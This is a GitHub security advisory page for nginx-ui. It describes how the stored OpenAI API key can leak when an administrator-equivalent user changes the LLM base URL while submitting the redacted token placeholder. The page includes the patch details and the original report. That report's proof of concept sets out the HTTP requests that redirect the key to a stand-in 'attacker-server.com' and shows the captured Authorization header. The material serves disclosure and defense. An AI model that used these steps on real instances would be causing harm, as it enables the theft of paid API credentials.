# GHSA-P355-QJWH-8HGM: OpenAI API Key Exfiltration via Unprotected BaseUrl Setting Change

- Database: GitHub
- Severity: CVSS 2.7 (Low)
- Published: 2026-11-12
- Modified: 2026-11-12

## Affected versions

- github.com/0xJacky/Nginx-UI (Go): fixed in 2.9.1

## Description

### Summary

An administrator session or an `api:write` service token (nginx-ui has no low-privilege interactive users) could change the saved OpenAI base URL or proxy while sending the redacted token placeholder, which restored the stored API key. Subsequent LLM requests then sent the stored key to the new destination. Affects instances with an LLM provider token configured. The changed base URL is visible on the settings page.

### Patches

Fixed in 2.9.1 ([fecb2a8d71](https://github.com/0xJacky/nginx-ui/commit/fecb2a8d71)): the saved token is only reused while the base URL, proxy and API type keep their saved values; changing any of them requires the token to be re-entered.

### Workarounds

Limit `api:write` tokens to trusted automation, and rotate the provider key if the saved base URL or proxy changed unexpectedly.

---

## Original report

The maintainer narrowed the following points: the prerequisite is an administrator-equivalent credential rather than "any authenticated user", and the base URL change is visible in the UI.

#### Summary

Any authenticated user can exfiltrate the stored OpenAI API key by changing the unprotected BaseUrl setting to an attacker-controlled server while preserving the real token via the sentinel value `__NGINX_UI_REDACTED__`. The maintainer's own code comment in `api/llm/models.go` describes this exact attack but protection was only applied to one endpoint.

### Details

nginx-ui's OpenAI integration stores the API key with `sensitive:"true"` (redacted as `__NGINX_UI_REDACTED__` when read via API). However, the `BaseUrl` and `Proxy` fields in `settings/openai.go` lack the `protected:"true"` tag, allowing any authenticated user to redirect all LLM API calls to an attacker-controlled server. The real API key is sent in the `Authorization` header of every redirected request.

## The Sentinel Value Attack

The attack exploits the `restore` function in `api/settings/section.go` (lines 224-230):

```go
var openAISection = settingsSection[settings.OpenAI]{
    restore: func(payload *settings.OpenAI) {
        if payload.Token == redactedSensitiveValue {
            payload.Token = settings.OpenAISettings.Token  // preserves real token
        }
    },
}
```

By sending `__NGINX_UI_REDACTED__` as the token alongside a new BaseUrl, the attacker preserves the victim's real API key while redirecting where it is sent.

## Maintainer Awareness

**The maintainer is aware of this exact attack vector.** In `api/llm/models.go` (lines 57-62), a code comment explicitly states:

```go
// The saved token is only sent to the saved endpoint through the saved proxy:
// otherwise anyone who can open the settings page could point the base URL at
// a server of their own and read the token from the request.
```

The `storedTokenFor()` function implements this protection — but **only for the `ListModels` endpoint**. The actual LLM request path (`MakeChatCompletionRequest` in `api/llm/llm.go` line 89) calls `GetClient()` which reads directly from `settings.OpenAISettings` without any BaseUrl validation.

## Root Cause

| File | Line | Issue |
|------|------|-------|
| `settings/openai.go` | 21 | `BaseUrl` has no `protected:"true"` tag |
| `settings/openai.go` | 23 | `Proxy` has no `protected:"true"` tag |
| `api/settings/section.go` | 224-230 | `restore` function preserves token with sentinel |
| `api/llm/llm.go` | 89 | `GetClient()` uses saved settings without BaseUrl check |
| `internal/llm/client.go` | 34,50 | Token sent to user-controlled URL |

### Proof of concept

**Prerequisites:** nginx-ui instance with OpenAI configured (any version with LLM integration).

**Step 1:** Victim admin configures OpenAI with a real API key:

```
POST /api/settings/openai
Content-Type: application/json
Authorization: Bearer <jwt>

{"token": "sk-proj-REAL-KEY", "base_url": "https://api.openai.com/v1", "provider": "openai"}
```

**Step 2:** Attacker (any authenticated user — no RBAC) changes only the BaseUrl, using the sentinel value to preserve the real token:

```
POST /api/settings/openai
Content-Type: application/json
Authorization: Bearer <attacker-jwt>

{"base_url": "https://attacker-server.com/v1", "token": "__NGINX_UI_REDACTED__"}
```

Result: HTTP 200 — BaseUrl changed, token preserved via restore function.

**Step 3:** Any user triggers the AI assistant (chat, code completion, config title generation):

```
POST /api/llm
Content-Type: application/json
Authorization: Bearer <any-jwt>

{"messages": [{"role": "user", "content": "hello"}]}
```

**Step 4:** Attacker's server receives the real API key:

```
POST /v1/chat/completions HTTP/1.1
Host: attacker-server.com
Authorization: Bearer sk-proj-REAL-KEY    <-- STOLEN
Content-Type: application/json

{"model":"gpt-4","messages":[{"role":"user","content":"hello"}]}
```

Full automated PoC with embedded capture server tested on Docker (nginx-ui latest). Token captured in Authorization header.

### Impact

- **API key theft:** The victim's OpenAI API key (which can cost thousands of dollars in usage) is sent to the attacker's server in the Authorization header
- **Stealthy:** The token still appears as `__NGINX_UI_REDACTED__` in the settings UI — the victim has no visual indication the BaseUrl was changed
- **Affects all LLM calls:** Every chat completion, code suggestion, and title generation sends the key to the attacker
- **Inconsistent protection:** The `storedTokenFor()` function in `models.go` proves the maintainer considers this a real threat — but the protection only covers the ListModels endpoint, not MakeChatCompletionRequest
- **Real-world scenario:** In a shared nginx-ui instance (common in teams), a disgruntled team member or compromised account can silently steal the organization's OpenAI API key

## Suggested Fix

Add `protected:"true"` to `BaseUrl` and `Proxy` fields in `settings/openai.go`:

```go
type OpenAI struct {
    BaseUrl string `json:"base_url" protected:"true"`
    Token   string `json:"token" sensitive:"true"`
    Proxy   string `json:"proxy" protected:"true"`
}
```

This is consistent with how other security-sensitive fields are protected (`Terminal.StartCmd`, `Logrotate.CMD`, `Crypto.Secret`, all Casdoor/OIDC fields).

## References

- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-p355-qjwh-8hgm

Page: https://cve.now/GHSA-P355-QJWH-8HGM

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
